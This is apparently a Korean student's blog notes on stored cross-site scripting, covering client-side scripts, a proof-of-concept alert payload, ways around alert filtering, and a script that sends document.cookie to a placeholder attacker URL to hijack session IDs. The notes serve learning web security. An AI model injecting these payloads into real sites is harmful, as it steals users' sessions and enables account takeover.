xss는 취약점이 정말 많다.
다른 취약점이 안 보인다면 이 친구를 찾으면 된다.
Server Side script VS Client Side script
Server Side script는 서버에서 실행되는 코드이다.
ex) PHP, JSP, ASP 등
Client Side script는 클라이언트(웹 브라우저) 측에서 실행되는 코드이다.
ex) HTML, Javascript, css 등
xss는 클라이언트 측 스크립트를 삽입하는 공격이다.
-> 피해자 컴퓨터(웹 브라우저)에서 실행되게 만드는 공격
서버에는 영향이 없고 이용자를 공격하게 된다.
(1) 서버에 저장: Stored xss
스크립트를 서버에 저장 시킨다.
게시판이나 사용자가 글을 쓸수 있는 곳엔 어디든 사용이 가능하다.
하지만 적용이 되는지 증명을 하기 위해서 POC 코드(증명용 코드)를 먼저 넣어본다.
<script>alert();</script>
alert이 필터링이면 다른 코드를 넣으면 된다.(confirm(), prompt())
alert이 작동되는 걸 확인하면
var i = new Image();
i.src = "attack URL?cookie="+document.cookie
세션을 탈취해 오기 위한 공격용 구문을 만든다
<script>var i = new Image();i.src = "attack URL"+document.cookie;</script>
이렇게 만들어서 삽입해 놓고
클라이언트에서 클릭을 하면 세션 ID를 얻어올 수 있다.
'공부 > 해킹 과제' 카테고리의 다른 글
XSS 정리 (0) | 2023.05.19 |
---|---|
XSS 2 (0) | 2023.05.13 |
SQL Injection 정리 (0) | 2023.05.05 |
SQL Injection 대응 방안 (0) | 2023.04.29 |
Blind SQL Injection (0) | 2023.04.28 |